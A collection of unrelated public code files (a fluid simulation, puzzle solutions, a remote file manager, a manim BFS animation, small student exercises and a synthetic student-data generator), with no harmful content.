1e-4*np.sin(y/h*2*np.pi))\r\n\r\n\r\nini_vel = np.fromfunction(inivel, (2,nx,ny)) # Initial velocity\r\n\r\nfor i in range(9):\r\n cu = 3 * (v[i,0]*ini_vel[0,:,:] + v[i,1]*ini_vel[1,:,:])\r\n fin[i,:,:] = 1*t[i] * (1 + cu + 0.5*cu**2 - (3/float(2) * (ini_vel[0]**2 + ini_vel[1]**2)))\r\n\r\n# For every time iteration\r\nfor nt in range(t_iter):\r\n rho = np.zeros((nx, ny)) # Particle density\r\n for ix in range(nx):\r\n for iy in range(ny):\r\n rho[ix, iy] = 0\r\n for i in range(9):\r\n rho[ix, iy] += fin[i, ix, iy]\r\n\r\n u = np.zeros((2, nx, ny)) # Lattice velocities\r\n for ix in range(nx):\r\n for iy in range(ny):\r\n u[0, ix, iy] = 0\r\n u[1, ix, iy] = 0\r\n for i in range(9):\r\n u[0, ix, iy] = u[0, ix, iy] + v[i, 0] * fin[i, ix, iy]\r\n u[1, ix, iy] = u[0, ix, iy] + v[i, 1] * fin[i, ix, iy]\r\n\r\n u[0, ix, iy] = u[0, ix, iy] / float(rho[ix, iy])\r\n u[1, ix, iy] = u[1, ix, iy] / float(rho[ix, iy])\r\n\r\n # Collision steps\r\n eq = np.zeros((9, nx, ny))\r\n for i in range(9):\r\n vu = 3 * (v[i, 0] * u[0, :, :] + v[i, 1] * u[1, :, :])\r\n eq[i, :, :] = rho * t[i] * (1 + vu + 0.5 * vu ** 2 - (3 / float(2) * (u[0] ** 2 + u[1] ** 2)))\r\n\r\n fout = fin - omega * (fin - eq)\r\n\r\n # Streaming steps\r\n for ix in range(nx):\r\n for iy in range(ny):\r\n for i in range(9):\r\n next_x = ix + v[i, 0]\r\n if next_x < 0: # Condition if the flow goes beyond x = 0 boundary\r\n next_x = nx - 1\r\n if next_x >= nx: # Condition if the flow goes beyond x = nx boundary\r\n next_x = 0\r\n\r\n next_y = iy + v[i, 1]\r\n if next_y < 0: # Condition if the flow goes beyond y = 0 boundary\r\n next_y = ny - 1\r\n if next_y >= ny: # Condition if the flow goes beyond y = ny boundary\r\n next_y = 0\r\n\r\n fin[i, next_x, next_y] = fout[i, ix, iy] # Flow entering the next node comes out the current node\r\n\r\n # Bounce back boundary conditions\r\n for i in range(9):\r\n fout[i, obstacle] = fin[8 - i, obstacle]\r\n\r\n # Outflow conditions:\r\n fin[col3, -1, :] = fin[col3, -2, :]\r\n\r\n # Inflow conditions:\r\n rho[0, :] = 1 / (float(1) - u[0, 0, :]) * (np.sum(fin[col2, 0, :], axis=0) + 2 * np.sum(fin[col3, 0, :], axis=0))\r\n\r\n fin[[0, 1, 2], 0, :] = eq[[0, 1, 2], 0, :] + fin[[8, 7, 6], 0, :] - eq[[8, 7, 6], 0, :]\r\n\r\n # Saving plotted flow\r\n if (nt % 5 == 0):\r\n plt.clf()\r\n line1 = plt.imshow(np.sqrt(u[0] ** 2 + u[1] ** 2).transpose(), cmap=cm.Reds)\r\n plt.savefig(\"vel.{0:04f}.png\".format(nt/5))","repo_name":"soumyasen1809/Simulation-and-modeling-of-natural-processes","sub_path":"Week 5/Lattice Boltzmann modeling of fluid flow/Lattice Boltzmann.py","file_name":"Lattice Boltzmann.py","file_ext":"py","file_size_in_byte":4263,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"47"} +{"seq_id":"37204492697","text":"from copy import deepcopy\n\n# with open('inputs/test.txt') as input_file:\nwith open('inputs/1.txt') as input_file:\n # lines = input_file.read().splitlines()\n lines = [l.split() for l in input_file.read().splitlines()]\n\n# print(lines)\n\ndef run(instructions, ip, acc):\n # instruction = instructions[ip].split()\n instruction = instructions[ip]\n if instruction[0] == 'acc':\n acc += int(instruction[1])\n ip += 1\n elif instruction[0] == 'nop':\n ip += 1\n elif instruction[0] == 'jmp':\n ip += int(instruction[1])\n return(ip, acc)\n\ni = 0\nacc = 0\nseen = set()\nwhile True:\n if i in seen:\n print('Part 1:', acc)\n break\n seen.add(i)\n i, acc = run(lines, i, acc)\n\nfor change in range(len(lines)):\n # new_lines = list(lines)\n new_lines = deepcopy(lines)\n # print(new_lines)\n # print(len(new_lines))\n # print(new_lines[change][0])\n if new_lines[change][0] == 'nop':\n new_lines[change][0] = 'jmp'\n elif new_lines[change][0] == 'jmp':\n new_lines[change][0] = 'nop'\n else:\n continue\n t = 0\n i = 0\n acc = 0\n while 0 <= i < len(new_lines) and t < 1000:\n t += 1\n i, acc = run(new_lines, i, acc)\n # print(i, acc)\n if i == len(new_lines):\n print('Part 2:', acc)","repo_name":"cimerson/aoc2020","sub_path":"day08/2.1.py","file_name":"2.1.py","file_ext":"py","file_size_in_byte":1299,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"39105424318","text":"import Pyro.core\nimport os, stat\nimport sys\nimport hashlib\nfrom psconstants import abspath\nimport zipfile\n\ndef md5_for_file(filename, block_size = 1024 * 8):\n f = open(filename, 'rb')\n md5 = hashlib.md5()\n while True:\n data = f.read(block_size)\n if not data:\n break\n md5.update(data)\n f.close()\n return md5.hexdigest()\n\n\ndef createZip(path, zipfiledest, setPassword=''):\n def walktree (top = \".\", depthfirst = True):\n names = os.listdir(top)\n if not depthfirst:\n yield top, names\n for name in names:\n try:\n st = os.lstat(os.path.join(top,name))\n except os.error:\n continue\n if stat.S_ISDIR(st.st_mode):\n for (newtop, children) in walktree(os.path.join(top,name),depthfirst):\n yield newtop, children\n if depthfirst:\n yield top, names\n\n list=[]\n if os.path.isfile(path):\n list = [path]\n else:\n for (basepath, children) in walktree(path,False):\n for child in children:\n f=os.path.join(basepath,child)\n if os.path.isfile(f):\n f = f.encode(sys.getfilesystemencoding())\n list.append(f)\n\n f=open(zipfiledest,'wb')\n file = zipfile.ZipFile(f,'w')\n for fname in list:\n nfname=os.path.join(os.path.basename(path),fname[len(path)+1:])\n file.write(fname, nfname , zipfile.ZIP_DEFLATED)\n if setPassword:\n file.setpassword(setPassword)\n file.close()\n f.close()\n\nclass FileManager(Pyro.core.ObjBase):\n \n def __init__(self, dataPath):\n Pyro.core.ObjBase.__init__(self)\n self.dataPath = dataPath\n\n def resolvePath(self,path,relativeTo=None):\n if relativeTo == 'version':\n return abspath(path,True)\n elif relativeTo == 'data':\n #return abspath(os.path.join('data',path),False)\n return os.path.join(self.dataPath,path)\n else:\n return abspath(path,False)\n \n def getFileNamesInPath(self,path,extension=None,relativeTo=None):\n path = self.resolvePath(path,relativeTo)\n filenames = os.listdir(path)\n if extension:\n filenames = [filename for filename in filenames if os.path.splitext(filename)[1] == extension]\n return filenames\n\n def getFileNamesInPathWithMD5(self,path,extension=None,relativeTo=None):\n path = self.resolvePath(path,relativeTo)\n filenames = self.getFileNamesInPath(path,extension)\n filenamesWithMD5 = dict()\n for filename in filenames:\n filenamesWithMD5[filename] = md5_for_file(os.path.join(path,filename))\n return filenamesWithMD5\n\n def zipFile(self,path,filename,relativeTo=None):\n path = self.resolvePath(path,relativeTo)\n filename = abspath(filename,False)\n createZip(path,filename)\n #createZip(abspath(path,relativeToVersion),abspath(filename,relativeToVersion))\n\n def getFileContents(self,path,filename,relativeTo=None):\n path = self.resolvePath(path,relativeTo)\n if not os.path.exists(path):\n return None\n #print \"FileManager.getFileContents: \", path, filename\n filepath = os.path.join(path,filename)\n f = open(filepath,'rb')\n contents = f.read()\n f.close()\n return contents\n\n def putFileContents(self,path,filename,contents,relativeTo=None): \n path = self.resolvePath(path,relativeTo)\n #print \"FileManager.putFileContents: \", path, filename\n filepath = os.path.join(path,filename)\n f = open(filepath,'wb')\n f.write(contents)\n f.close()\n\n","repo_name":"domusprosafe/domus","sub_path":"client/master/filemanager.py","file_name":"filemanager.py","file_ext":"py","file_size_in_byte":3716,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"38323349776","text":"y = int(input())\nu = y * 4\nu = int(u)\ns = 0\n\nwhile u != 0:\n s = s + u % 10\n u = u // 10\nprint('Раз, два... Меркурий в четвертом доме... луна ушла... шесть – несчастье... вечер – семь...')\n\nif s % 2 == 0:\n print('Вас ждёт уважение.')\n\nif s % 8 == 0:\n print('Вы будете богат.')\n\nif 10 <= s < 100:\n print('Вы проживёте долгую жизнь.')\n\nif s % 2 != 0 and s % 8 != 0 and (s < 10 or s >= 100):\n print('Я не могу предсказать Вашу судьбу!')\n\n","repo_name":"timeaut777/repo","sub_path":"fourth_lesson/4.1.py","file_name":"4.1.py","file_ext":"py","file_size_in_byte":605,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"723689101","text":"#Don't forget to rename this file after copying the template\n#for a new program!\n\"\"\"\nStudent Name: Ethan Matthews\nProgram Title: Hipsteres Vinyl Records \nDescription: This program will output the cost of a delivery.\n\"\"\"\n\ndef main(): #<-- Don't change this line!\n #Write your code below. It must be indented!\n\n \"\"\"\n These next two lines are my hard coded values. First delivery rate, second sales tax.\n \"\"\"\n deliveryRate = 15.00 #This is the current delivery rate in dollars.\n tax = 1.14 #This is the starndard sales tax of 14%.\n \n \"\"\"\n These three next lines of code are the user input values. The first will be customer name,\n second will be the distance of delivery in Kilometers.\n The third will be the original cost of records perchased in dollars.\n \"\"\"\n\n customerName = input(\"Customer Name: \")\n distanceKM = float(input(\"Distance of Delivery: \"))\n recordCost = float(input(\"Cost of Records Perchased: \"))\n\n deliveryCost = distanceKM * deliveryRate #Delivery cost calculation disatance in KM multiplied by the delivery rate.\n perchaseCost = recordCost * tax #Perchase calculations. Origanial record cost plus tax of 14% in dollars.\n totalCost = perchaseCost + deliveryCost #The total cost calculation. The perchase cost(already taxed) plus delivery cost.\n\n \"\"\"\n The next five lines are my final output. The first line is a banner displayed when the order has been calculated.\n The second line displays the customer name. Third line displays ONLY the delivery cost. Fourth line displays ONLY the perchase cost (already taxed at 14%). The fifth and final line displays the total cost of the entire order.\n All values will be rounded down to the second decimal place.\n \"\"\"\n\n print(\"Hippsters Vinyl Records - Customer Order Details\") #Display Banner.\n print(\"Perchase Summary for {0}.\".format(customerName)) #Customer Name.\n print(\"Delivery Cost: ${0:.2f}\".format(deliveryCost)) #Delivery Cost.\n print(\"Purchase Cost: ${0:.2f}\".format(perchaseCost)) #Perchase Cost with 14% sales tax included.\n print(\"Total Cost: ${0:.2f}\".format(totalCost)) #Total cost of the entire order.\n\n\n #Your code ends on the line above\n\n#Do not change any of the code below!\nif __name__ == \"__main__\":\n main()","repo_name":"Ethan-Matthews/Python-Projects-Semester-1","sub_path":"Assignments/Assignment_01/Hipsters_Records.py","file_name":"Hipsters_Records.py","file_ext":"py","file_size_in_byte":2339,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"38383382438","text":"from collections import deque\nfrom manimlib.imports import *\n\n\nclass Node:\n def __init__(self, val):\n self.val = val\n self.circle = Circle(radius=0.4)\n self.circle.set_fill(BLACK, 1)\n self.text = TextMobject(str(self.val))\n self.left = None\n self.right = None\n\n def move_to(self, *args, **kwargs):\n self.circle.move_to(*args, **kwargs)\n self.text.move_to(*args, **kwargs)\n\n\n# Create tree nodes\nnodes = {v: Node(v) for v in [0, 2, 3, 4, 5, 6, 7, 9]}\n\n# Link them together\nroot = nodes[5]\nroot.left = nodes[2]\nroot.left.left = nodes[0]\nroot.left.right = nodes[4]\nroot.left.right.left = nodes[3]\nroot.right = nodes[7]\nroot.right.left = nodes[6]\nroot.right.right = nodes[9]\n\n\nclass BFS(Scene):\n def construct(self):\n\n # Set up camera position and zoom out a bit\n self.camera.set_frame_center(DOWN + LEFT * 0.5)\n self.camera.set_frame_height(self.camera.get_frame_height() * 1.1)\n self.camera.set_frame_width(self.camera.get_frame_width() * 1.1)\n\n # Set up tree node positions\n nodes[5].move_to(UP * 2 + LEFT * 2.5)\n\n nodes[2].move_to(UP * 1 + LEFT * 4.5)\n nodes[7].move_to(UP * 1 + LEFT * 0.5)\n\n nodes[0].move_to(LEFT * 5.5)\n nodes[4].move_to(LEFT * 3.5)\n nodes[6].move_to(LEFT * 1.5)\n nodes[9].move_to(RIGHT * 0.5)\n\n nodes[3].move_to(DOWN * 1 + LEFT * 4.5)\n\n # Set up lines between nodes\n edges = [(5, 2), (5, 7), (2, 0), (2, 4), (4, 3), (7, 9), (7, 6)]\n lines = {\n (a, b): Line(nodes[a].circle.get_center(), nodes[b].circle.get_center())\n for (a, b) in edges\n }\n\n # Make a copy of the nodes to use them in queue/visited nodes\n queue_nodes = {k: deepcopy(v) for k, v in nodes.items()}\n\n # Animate line and element creations\n self.play(*[ShowCreation(a) for a in lines.values()])\n self.play(\n *[ShowCreation(n.circle) for n in nodes.values()],\n *[ShowCreation(n.text) for n in nodes.values()]\n )\n\n # Create \"Visited nodes\" rectangles and text\n visited_rectangles = [\n Rectangle(width=1, height=1, color=GRAY) for _ in range(len(nodes))\n ]\n for i, vr in enumerate(visited_rectangles):\n vr.move_to(LEFT * 6 + 3.5 * DOWN + RIGHT * i)\n visited_text = TextMobject(\"Visited nodes\")\n visited_text.next_to(visited_rectangles[0], UP)\n visited_text.align_to(visited_rectangles[0], LEFT)\n self.play(*[ShowCreation(vr) for vr in visited_rectangles])\n self.play(Write(visited_text))\n\n # Create \"Queue\" and \"Current node\" rectangles and text\n queue_end = DOWN * 2.5 + RIGHT * 4\n queue_rectangles = [Rectangle(width=1, height=1, color=GRAY) for _ in range(6)]\n queue_rectangles[0].set_color(WHITE)\n for i, qr in enumerate(queue_rectangles):\n qr.move_to(queue_end + UP * (i - 1))\n queue_rectangles.pop(1)\n queue_text = TextMobject(\"Queue\")\n crt_node_text = TextMobject(\"Current node\")\n queue_text.next_to(queue_rectangles[-1], UP)\n queue_text.align_to(visited_rectangles[-1], ORIGIN)\n\n crt_node_text.next_to(queue_rectangles[0], DOWN)\n crt_node_text.align_to(visited_rectangles[0], ORIGIN)\n\n self.play(*[ShowCreation(qr) for qr in queue_rectangles[1:]])\n self.play(Write(queue_text))\n\n self.play(ShowCreation(queue_rectangles[0]))\n self.play(Write(crt_node_text))\n\n queue = deque()\n visited_nodes = []\n\n # Adds a node to the queue and animates it\n def add_node_to_queue(node):\n queue_nodes[node.val].move_to(queue_end + UP * (len(queue) + 1))\n queue.append(node)\n self.play(\n FadeInFrom(queue_nodes[node.val].circle, UP),\n FadeInFrom(queue_nodes[node.val].text, UP),\n )\n\n # Traverse, adding left and right children to queue\n def bfs_helper(node):\n nonlocal queue\n\n if node.left:\n self.play(\n ApplyMethod(lines[(node.val, node.left.val)].set_stroke, YELLOW_C),\n WiggleOutThenIn(node.left.circle),\n )\n add_node_to_queue(node.left)\n self.play(\n ApplyMethod(lines[(node.val, node.left.val)].set_stroke, WHITE)\n )\n\n if node.right:\n self.play(\n ApplyMethod(lines[(node.val, node.right.val)].set_stroke, YELLOW_C),\n WiggleOutThenIn(node.right.circle),\n )\n add_node_to_queue(node.right)\n self.play(\n ApplyMethod(lines[(node.val, node.right.val)].set_stroke, WHITE)\n )\n\n # Initially, only the root is added\n add_node_to_queue(nodes[5])\n\n # While the queue is not empty, apply BFS helper and perform the necessary animations\n while queue:\n crt_node = queue.popleft()\n\n # Animate queue/current node movement\n self.play(\n ApplyMethod(queue_nodes[crt_node.val].circle.shift, 2 * DOWN),\n ApplyMethod(queue_nodes[crt_node.val].text.shift, 2 * DOWN),\n *[\n ApplyMethod(queue_nodes[v].circle.shift, DOWN)\n for v in [n.val for n in queue]\n ],\n *[\n ApplyMethod(queue_nodes[v].text.shift, DOWN)\n for v in [n.val for n in queue]\n ]\n )\n\n # Set current node color to yellow both in queue and tree\n self.play(\n ApplyMethod(nodes[crt_node.val].circle.set_stroke, YELLOW_C),\n ApplyMethod(queue_nodes[crt_node.val].circle.set_stroke, YELLOW_C),\n )\n\n # Indicate current node both in queue and tree\n self.play(\n Indicate(queue_nodes[crt_node.val].text),\n Indicate(nodes[crt_node.val].text),\n WiggleOutThenIn(nodes[crt_node.val].circle),\n WiggleOutThenIn(queue_nodes[crt_node.val].circle),\n )\n\n bfs_helper(crt_node)\n\n # Add node to visited nodes list\n visited_nodes.append(queue_nodes[crt_node.val])\n\n def move_and_greenify(c: Circle):\n c.shift(LEFT * (11 - len(visited_nodes)))\n c.set_stroke(GREEN_C)\n return c\n\n # Animate shift from current node to visited nodes\n self.play(\n ApplyFunction(move_and_greenify, queue_nodes[crt_node.val].circle),\n ApplyMethod(\n queue_nodes[crt_node.val].text.shift,\n LEFT * (11 - len(visited_nodes)),\n ),\n ApplyMethod(nodes[crt_node.val].circle.set_stroke, GREEN_C),\n )\n\n self.wait(4)\n","repo_name":"pedrovhb/anims","sub_path":"old_anims/bfs.py","file_name":"bfs.py","file_ext":"py","file_size_in_byte":6979,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"47"} +{"seq_id":"15401714515","text":"\"\"\"\nGreatest Common Divisor of Strings\n\nFor strings S and T, we say \"T divides S\" if and only if S = T + ... + T (T concatenated with itself 1 or more times)\n\nReturn the largest string X such that X divides str1 and X divides str2.\n\n \n\nExample 1:\n\nInput: str1 = \"ABCABC\", str2 = \"ABC\"\nOutput: \"ABC\"\nExample 2:\n\nInput: str1 = \"ABABAB\", str2 = \"ABAB\"\nOutput: \"AB\"\nExample 3:\n\nInput: str1 = \"LEET\", str2 = \"CODE\"\nOutput: \"\"\n \n\nNote:\n\n1 <= str1.length <= 1000\n1 <= str2.length <= 1000\nstr1[i] and str2[i] are English uppercase letters.\n\"\"\"\n\n\"\"\"\nTime & space: O(n ^ 2)\ndue to slicing\n\n\nIf longer string starts with shorter string, cut off the common prefix part of the longer string; repeat till one is empty, then the other is gcd string;\nIf the longer string does NOT start with the shorter one, there is no gcd string.\n\ncan reduce to O(n1 + n2)\n\"\"\"\nclass Solution(object):\n def gcdOfStrings(self, str1, str2):\n \"\"\"\n :type str1: str\n :type str2: str\n :rtype: str\n \"\"\"\n if len(str1) == len(str2):\n return str1 if str1 == str2 else ''\n else:\n if len(str1) < len(str2):\n str1, str2 = str2, str1\n if str1[:len(str2)] == str2:\n return self.gcdOfStrings(str1[len(str2):], str2)\n else:\n return ''\n\n\n","repo_name":"Bennyhwanggggg/Algorithm-and-Data-Structures-and-Coding-Challenges","sub_path":"Challenges/greatestCommonDivisorOfStrings.py","file_name":"greatestCommonDivisorOfStrings.py","file_ext":"py","file_size_in_byte":1331,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"47"} +{"seq_id":"33805796132","text":"from kivy.lang import Builder\nfrom kivy.properties import StringProperty, BooleanProperty, NumericProperty, ObjectProperty\nfrom kivy.factory import Factory\nfrom kivy.clock import Clock\nfrom kivy.uix.gridlayout import GridLayout\nfrom kivy_garden.draggable import KXDraggableBehavior, KXReorderableBehavior\nimport asynckivy as ak\nfrom kivymd.uix.list import OneLineAvatarIconListItem\n\nfrom kivymd.uix.boxlayout import MDBoxLayout\nfrom kivymd.uix.button import MDRectangleFlatIconButton\nfrom kivymd.app import MDApp\n\nfrom db_requests import db\nfrom rep_act_element_form import RepActElementForm\n\n\nclass Magnet(Factory.Widget):\n '''\n Inspired by\n https://github.com/kivy-garden/garden.magnet\n '''\n do_anim = BooleanProperty(True)\n anim_duration = NumericProperty(1)\n anim_transition = StringProperty('out_quad')\n\n # default value of the instance attributes\n _coro = ak.sleep_forever()\n\n def __init__(self, **kwargs):\n self._anim_trigger = trigger = \\\n Clock.create_trigger(self._start_anim, -1)\n super().__init__(**kwargs)\n self.fbind('pos', trigger)\n self.fbind('size', trigger)\n\n def add_widget(self, widget, *args, **kwargs):\n if self.children:\n raise ValueError('Magnet can have only one child')\n widget.pos = self.pos\n widget.size = self.size\n return super().add_widget(widget, *args, **kwargs)\n\n def _start_anim(self, *args):\n if self.children:\n child = self.children[0]\n self._coro.close()\n if not self.do_anim:\n child.pos = self.pos\n child.size = self.size\n return\n self._coro = ak.start(ak.animate(\n child,\n d=self.anim_duration,\n t=self.anim_transition,\n x=self.x, y=self.y, width=self.width, height=self.height,\n ))\n\n\nBuilder.load_string(\"\"\"\n#:import create_spacer kivy_garden.draggable._utils._create_spacer\n:\n padding: dp(20)\n spacing: dp(20)\n orientation: \"vertical\"\n\n MDBoxLayout:\n spacing: dp(10)\n\n MDBoxLayout:\n size_hint_x: .7\n spacing: dp(20)\n orientation: \"vertical\"\n \n ScrollView:\n \n ReorderableGridLayout:\n id: algorithm_actions\n size_hint_y: None\n height: self.minimum_height\n spacing: 10\n drag_classes: ['algorithm_actions', ]\n cols: 1\n \n MDRectangleFlatButton:\n text: \"Добавить действие\"\n \n MDBoxLayout:\n orientation: \"vertical\"\n size_hint_x: .3\n \n MDList:\n id: repetitive_actions\n \n Widget:\n \n MDBoxLayout:\n adaptive_height: True\n \n Widget:\n\n MDRectangleFlatButton:\n text: \"Добавить\"\n on_release: root.add_new_rep_act()\n \n\n MDBoxLayout:\n adaptive_height: True\n spacing: dp(20)\n \n Widget:\n \n MDRectangleFlatButton:\n text: \"Начать\" if not app.is_active else \"Пауза\"\n on_release: root.change_activity()\n \n MDRectangleFlatButton:\n text: \"Остановить\"\n on_release: root.stop()\n \n \n:\n do_anim: not self.is_being_dragged\n anim_duration: .2\n drag_cls: 'algorithm_actions'\n drag_timeout: 50\n size_hint_y: None\n height: dp(50)\n opacity: .7 if self.is_being_dragged else 1.\n canvas.after:\n Color:\n rgba: [*app.theme_cls.primary_color[:3], .3 if root.is_being_dragged else .2]\n Line:\n width: 2 if root.is_being_dragged else 1\n rectangle: [*self.pos, *self.size, ]\n \n OneLineIconListItem:\n text: root.text\n \n IconLeftWidget:\n icon: \"play\"\n theme_text_color: \"Custom\"\n text_color: self.theme_cls.accent_color if root.active else (1, 1, 1, 1)\n user_font_size: 0\n on_release: root.start_stop(self)\n \n \n:\n # spacer_widgets:\n # [create_spacer(color=color)\n # for color in \"#000044 #002200 #440000\".split()]\n \n \n:\n text: root.key\n \n LeftCheckbox:\n \n IconRightWidget:\n icon: \"close\"\n user_font_size: dp(15)\n pos_hint: {'center_y': .5}\n\n\n:\n \n\"\"\")\n\n\nclass ReorderableGridLayout(KXReorderableBehavior, GridLayout):\n def __init__(self, **kwargs):\n super(ReorderableGridLayout, self).__init__(**kwargs)\n\n\nclass ActionRow(KXDraggableBehavior, Magnet):\n text = StringProperty(\"\")\n active = BooleanProperty(False)\n func_start_stop = ObjectProperty()\n\n def __init__(self, **kwargs):\n try:\n self.text = kwargs[\"text\"]\n except KeyError:\n pass\n super(ActionRow, self).__init__()\n\n def start_stop(self, obj, *args):\n self.active = not self.active\n\n if self.func_start_stop:\n self.func_start_stop()\n\n\nclass Algorithm(MDBoxLayout):\n def __init__(self, **kwargs):\n super(Algorithm, self).__init__(**kwargs)\n\n Clock.schedule_once(lambda *x: self.load_algorithm())\n\n def load_algorithm(self):\n algorithm_actions = self.ids.algorithm_actions\n for i in range(23):\n algorithm_actions.add_widget(ActionRow(text=str(i)))\n\n self.refresh_rep_acts()\n\n @staticmethod\n def change_activity():\n app = MDApp.get_running_app()\n app.is_active = not app.is_active\n\n def stop(self):\n # Смена is_active и сбрасывание прогресса выполнения к первому шагу\n app = MDApp.get_running_app()\n if app.is_active:\n app.is_active = False\n self.reset()\n\n def reset(self):\n # Сбрасывание прогресса выполнения к первому шагу\n pass\n\n def add_action(self):\n pass\n\n def add_new_rep_act(self):\n rep_act_form = RepActElementForm()\n rep_act_form.key = None\n rep_act_form.open()\n pass\n\n def refresh_rep_acts(self):\n self.ids.repetitive_actions.clear_widgets()\n\n for rep_act in db.get_rep_acts():\n self.ids.repetitive_actions.add_widget(RepAct(\n key=rep_act['key'],\n name=rep_act['name'],\n frequency=rep_act['frequency'],\n active=rep_act['active']\n )\n )\n\n\nclass RepAct(OneLineAvatarIconListItem):\n key = StringProperty(\"\")\n name = StringProperty(\"\")\n frequency = NumericProperty(0)\n active = BooleanProperty(False)\n\n def __init__(self, **kwargs):\n # for key, val in kwargs.items():\n # self.__dict__[key] = val\n\n self.key = kwargs['key']\n self.name = kwargs['name']\n self.frequency = kwargs['frequency']\n self.active = kwargs['active']\n\n super(RepAct, self).__init__()\n\n\n","repo_name":"snckmykek/poe_bot","sub_path":"algorithm.py","file_name":"algorithm.py","file_ext":"py","file_size_in_byte":7339,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"15597769717","text":"\nimport random\nimport string\n\n\nletters = string.ascii_lowercase\nstringLength = 7\n\nname = []\nage = []\ngender = []\ng = ['Male', 'Female']\npercent_10 = []\npercent_12 = []\njee_rank = []\nc = ['Yes', 'No']\ncoaching = []\nbackup = []\ncertificate = []\nreason = []\nr = ['College Infrastructure', 'College Reputation', 'Course Preference']\nfamilyIncome = []\ndependentMembers = []\nm = ['May', 'June', 'July', 'Aug']\nmonth = []\ns = ['Advertisement', 'Relative', 'Direct Interaction']\nsource = []\nl = ['Urban', 'Town', 'Rural']\nhome = []\n\n\n\ndef randomString():\n \"\"\"Generate a random string of fixed length \"\"\"\n letters = string.ascii_lowercase\n temp = ''.join(random.choice(letters) for _ in range(stringLength))\n name.append(temp)\n\nfor j in range(50000):\n randomString()\n\n\nfor i in range(50000):\n age.append(random.randint(18, 21))\n gender.append(random.choice(g))\n percent_10.append(round(random.uniform(60.0, 99.9), 2))\n percent_12.append(round(random.uniform(60.0, 99.9), 2))\n jee_rank.append(random.randint(1, 300000))\n coaching.append(random.choice(c))\n backup.append(random.choice(c))\n certificate.append(random.randint(0, 5))\n reason.append(random.choice(r))\n familyIncome.append(random.randint(200000, 5000000))\n dependentMembers.append(random.randint(0, 5))\n month.append(random.choice(m))\n source.append(random.choice(s))\n home.append(random.choice(l))\n\n\n\nimport pandas\n\n\nscore = 0\njee_num = []\nfor rank in jee_rank:\n if 1<= rank < 20000: score = 10\n\n elif 20000<= rank < 40000: score = 9\n elif 40000<=rank < 60000: score = 8\n elif 60000<=rank < 80000: score = 7\n elif 80000 <=rank < 100000: score = 6\n elif 100000 <=rank < 120000: score = 5\n elif 120000 <=rank < 140000: score = 4\n elif 140000 <=rank < 160000: score = 3\n elif 160000 <= rank < 180000: score = 2\n elif 180000 <=rank < 200000: score = 1\n else: score = 0\n jee_num.append(score)\n\nscore = 0\npercent_12_num = []\nfor two in percent_12:\n if 95 <= two < 100:\n score = 10\n elif 90 <= two < 95:\n score = 9\n elif 85 <= two < 90:\n score = 8\n elif 80 <= two < 85:\n score = 7\n elif 75 <= two < 80:\n score = 6\n elif 70 <= two < 75:\n score = 5\n elif 65 <= two < 70:\n score = 4\n elif 60 <= two < 65:\n score = 3\n else:\n score = 0\n percent_12_num.append(score)\n\n\nscore = 0\npercent_10_num = []\nfor ten in percent_10:\n if 95 <= ten < 100:\n score = 10\n\n elif 90 <= ten < 95:\n score = 9\n elif 85 <= ten < 90:\n score = 8\n elif 80 <= ten < 85:\n score = 7\n elif 75 <= ten < 80:\n score = 6\n elif 70 <= ten < 75:\n score = 5\n elif 65 <= ten < 70:\n score = 4\n elif 60 <= ten < 65:\n score = 3\n\n else:\n score = 0\n\n percent_10_num.append(score)\n\n\nscore = 0\nfamilyIncome_num = []\nfor money in familyIncome:\n\n if 3000000 <= money:\n score = 10\n\n elif 2000000 <= money < 3000000:\n score = 9\n\n elif 1700000 <= money < 2000000:\n score = 8\n elif 1500000 <= money < 1700000:\n score = 7\n elif 1300000 <= money < 1500000:\n score = 6\n elif 1100000 <= money < 1300000:\n score = 5\n elif 900000 <= money < 1100000:\n score = 4\n elif 700000 <= money < 900000:\n score = 3\n elif 500000 <= money < 700000:\n score = 2\n\n else:\n score = 1\n\n familyIncome_num.append(score)\n\n\n# s = ['Advertisement', 'Relative', 'Direct Interaction']\nsource_num = []\nscore = 0\nfor medium in source:\n if medium is 'Advertisement':\n score = 3\n elif medium is 'Relative':\n score = 4\n else:\n score = 5\n\n source_num.append(score)\n\n\n# l = ['Urban', 'Town', 'Rural']\nhome_num = []\nscore = 0\nfor ho in home:\n if ho is 'Urban':\n score = 1\n elif ho is 'Town':\n score = 2\n else:\n score = 3\n home_num.append(score)\n\n\nscore = 0\ncoaching_num = []\nfor co in coaching:\n if co is 'Yes':\n score = 6\n else:\n score = 3\n coaching_num.append(score)\n\n\n\nscore = 0\nbackup_num = []\nfor ba in backup:\n if ba is 'Yes':\n score = 3\n else:\n score = 6\n backup_num.append(score)\n\n\nscore = 0\ncertificate_num = []\nfor cer in certificate:\n if cer >= 4:\n score = 3\n elif 2 <= cer <4:\n score = 2\n else:\n score = 1\n certificate_num.append(score)\n\n\n\nscore = 0\ndependentMembers_num = []\nfor dep in dependentMembers:\n if dep >= 4:\n score = 1\n elif 2 <= dep <4:\n score = 2\n else:\n score = 3\n dependentMembers_num.append(score)\n\n\nscore = 0\nmonth_num = []\n# m = ['May', 'June', 'July', 'Aug']\nfor mon in month:\n if mon is 'May':\n score = 3\n elif mon is 'June':\n score = 4\n elif mon is 'July':\n score = 5\n elif mon is 'Aug':\n score = 5\n else:\n score = 0\n\n month_num.append(score)\n\n\n\n\n# print(month)\n# print(month_num)\n\n\n\ndf = pandas.DataFrame(data={\"Name\": name, \"Age\": age, \"Gender\": gender, \"10th Percent\": percent_10, \"12th Percent\": percent_12,\n \"JEE Rank\":jee_rank, \"Opted for Coaching\": coaching, \"Backup Options\": backup, \"Extra Curricular Activities(Distinct)\": certificate,\n \"Reason to Choose BMU\": reason, \"Family Income(INR)\": familyIncome, \"Dependent Members\": dependentMembers,\n \"Month of Visit\": month, \"Source of Information\": source, \"Home Location\": home})\n\n\n\ndf.to_csv(\"./ProjectData.csv\", sep=',', 